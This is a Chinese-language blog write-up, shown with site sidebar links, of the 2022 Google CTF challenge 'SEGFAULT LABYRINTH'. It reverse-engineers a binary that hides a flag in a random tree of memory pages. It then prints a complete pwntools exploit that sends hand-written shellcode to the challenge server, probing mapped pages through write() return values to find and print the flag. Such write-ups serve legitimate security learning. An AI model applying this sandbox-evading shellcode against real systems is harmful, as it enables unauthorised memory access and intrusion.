当前位置:网站首页>2022 Google CTF SEGFAULT LABYRINTH wp
2022 Google CTF SEGFAULT LABYRINTH wp
2022-07-07 01:16:00 【xyzmpv】
不要問我為什麼雙休來打CTF 問就是活該:)
著名的Google CTF。去年有看見一比特師傅畫了一整張紙的流程圖做了一道逆向,今年來自己嘗(自)試(虐)一下。
當然pwn是不可能pwn的,只能做道misc維持生活這樣子。很幸運在第一天做出來了SEGFAULT LABYRINTH這道Misc,交題的排名也比較不錯(當然第二天就摸了)。這裏來分享一下我的wp。
邏輯分析
首先整個程序主體基本上只有一個main函數,逆向起來並不費勁。
一開始申請一個mmap塊用來放指針,地址固定(這個地址最後會給你)。然後進入while循環。
程序的主體邏輯就在這個while(1)的循環裏面。先讀一個隨機數,再取這個隨機數第一字節的低4比特並把高4比特清零(實際上這個隨機數真正用到的只有這低4比特)。
每一個循環都會再申請16個mmap塊並將其地址按順序寫入v5指向的空間。這個過程中會用隨機數在0-16中間抽獎,只有抽中的那個塊才有權限(當然也可能臉黑,抽到1或者2 權限只有3或6)。
第一次的v5
是一開始申請的那個mmap塊的地址,每一次循環都會將v5
賦值為本次循環抽中的的那個有權限的塊的地址(否則接下來沒法繼續寫地址)
也就是說,整個過程相當於一個分叉樹的生長過程,每一次挑選一個隨機節點,在這個節點上生長出16個子節點,以此類推
仔細看看可以知道,涉及flag
的部分在if(!--v4)
這個判斷裏面,由於v4最初是10,所以實際上得跑到第10次循環才會進入邏輯,而此時已經初始化了16^10個節點(地址)。在這個分支中,會將flag讀到最後一個有權限的節點處。
示意圖如下所示:
然後,分配一塊有RWX權限的段(並在段頭放上定制的shellcode),輸出Welcome to the Segfault Labyrinth
,設置保護
再讓你覆蓋ptr[0]
並讀入長度為ptr[0] % (4096 - v16)
字節的shellcode並執行
注意兩點:
- 如前所述,shellcode的開頭已經給定好了,而且總長度不得超過4096
- 執行shellcode時參數為
mmap_addr_1
,也就是分叉樹頭結點地址
寫死的shellcode開頭段(特意留下了rdi)
沙盒保護
解題思路
本質上來說題目的要求就是遍曆這個分叉樹並找到最後一個節點,再將其打印出來。
看保護可以發現可以用的系統調用只有以上幾個了。第一反應直接用shellcraft生成shellcode或寫C再編譯,摳下來PIC。
但實際調試還發現,不能使用棧否則會直接SEGFAULT
(這應該也是題目名稱的來源)。在這種情况下,基本不太可能通過以上兩種方式實現,於是只能手搓shellcode了
一開始的想法是直接取空節點的值然後cmp 0
,但調試中發現空節點的權限是0,直接取值會崩掉。後面有師傅提出來使用mmap去測試節點權限,結果也是會崩掉。
最後的解决辦法非常簡單粗暴——直接通過write遍曆打印每個節點。對於非空節點,返回值rax是長度,而空節點返回值則為負數。通過控制write長度+cmp rax,長度+條件跳轉
的方法,就可以實現對這一分叉樹的遍曆。
最後搓出來的exp如下:
# -*- coding:utf-8 -*-
from pwn import *
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./challenge')
p = remote('segfault-labyrinth.2022.ctfcompetition.com', 1337)
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222)
#e = ELF()
#gdb.attach(p,'''
#b* $rebase(0x14E8)
#c
#si 16
#si 5
#''')
#local_file =
#libc =
#elf = ELF(local_file)
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
payload=asm('mov r15,rdi') #保存頭節點地址
payload+=asm('mov rsi,[rdi]') #取頭節點指向的第一個地址
payload+=asm('mov rdi,1')
payload+=asm('mov rdx,0x40')
payload+=asm('mov rax,1')
payload+=asm('syscall') #構造write
payload+=asm('add r15,8') #默認不通過校驗,頭節點指針順移
payload+=asm('mov rdi,r15')
payload+=asm('cmp rax,0x40')
payload+=asm('jnz $-37') #若不通過,則前期准備完成,直接跳回第二條匯編
payload+=asm('sub r15,8') #通過,先複比特頭節點指針,再迭代指針
payload+=asm('mov r15,[r15]')
payload+=asm('mov rdi,r15')
payload+=asm('jmp $-49')#返回第二條匯編,繼續循環
sa('Welcome to the Segfault Labyrinth',p64(len(payload)))
se(payload)
p.interactive()
小結
- 這個辦法自我感覺還是不錯的,通過write的報錯和返回值進行遍曆判斷,同時也直接能打印出flag,而且長度只有14條匯編
- pwntools匯編的向上跳轉跟正常匯編器一樣,需要先計算出前面的指令長度再寫
- 一開始逆錯了,以為
v5
始終是開頭給的那個mmap地址,調試了一下發現沒法直接找到flag,而且內存有一堆mmap塊,這才反應過來 - 感謝做題過程中參與頭腦風暴的兩比特師傅,提供了很多寶貴的建議。第一次在這種級別比賽做出題而且交題的順比特比較不錯,還是很開心的。
pwn是不可能pwn的,只能做點misc維持生活這樣子
边栏推荐
- taro3.*中使用 dva 入门级别的哦
- paddlehub应用出现paddle包报错的问题
- Summary of being a microservice R & D Engineer in the past year
- 阿里云中mysql数据库被攻击了,最终数据找回来了
- Taro中添加小程序 “lazyCodeLoading“: “requiredComponents“,
- Let's talk about 15 data source websites I often use
- [batch dos-cmd command - summary and summary] - string search, search, and filter commands (find, findstr), and the difference and discrimination between find and findstr
- [batch dos-cmd command - summary and summary] - view or modify file attributes (attrib), view and modify file association types (Assoc, ftype)
- The MySQL database in Alibaba cloud was attacked, and finally the data was found
- Maidong Internet won the bid of Beijing life insurance to boost customers' brand value
猜你喜欢
Provincial and urban level three coordinate boundary data CSV to JSON
线段树(SegmentTree)
身体质量指数程序,入门写死的小程序项目
重上吹麻滩——段芝堂创始人翟立冬游记
BFS realizes breadth first traversal of adjacency matrix (with examples)
[batch dos-cmd command - summary and summary] - jump, cycle, condition commands (goto, errorlevel, if, for [read, segment, extract string]), CMD command error summary, CMD error
[100 cases of JVM tuning practice] 04 - Method area tuning practice (Part 1)
Your cache folder contains root-owned files, due to a bug in npm ERR! previous versions of npm which
动态规划思想《从入门到放弃》
第五篇,STM32系统定时器和通用定时器编程
随机推荐
Atomic in golang, and cas Operations
The MySQL database in Alibaba cloud was attacked, and finally the data was found
Boot - Prometheus push gateway use
Receive user input, height BMI, BMI detection small business entry case
What are the differences between Oracle Linux and CentOS?
Oracle:CDB限制PDB资源实战
Supersocket 1.6 creates a simple socket server with message length in the header
The difference between spin and sleep
JTAG debugging experience of arm bare board debugging
Gnet: notes on the use of a lightweight and high-performance go network framework
Anfulai embedded weekly report no. 272: 2022.06.27--2022.07.03
How do novices get started and learn PostgreSQL?
[牛客] [NOIP2015]跳石头
Dell笔记本周期性闪屏故障
Batch obtain the latitude coordinates of all administrative regions in China (to the county level)
pyflink的安装和测试
Tencent cloud webshell experience
Make a simple graphical interface with Tkinter
Installation and testing of pyflink
Informatics Orsay Ibn YBT 1172: find the factorial of n within 10000 | 1.6 14: find the factorial of n within 10000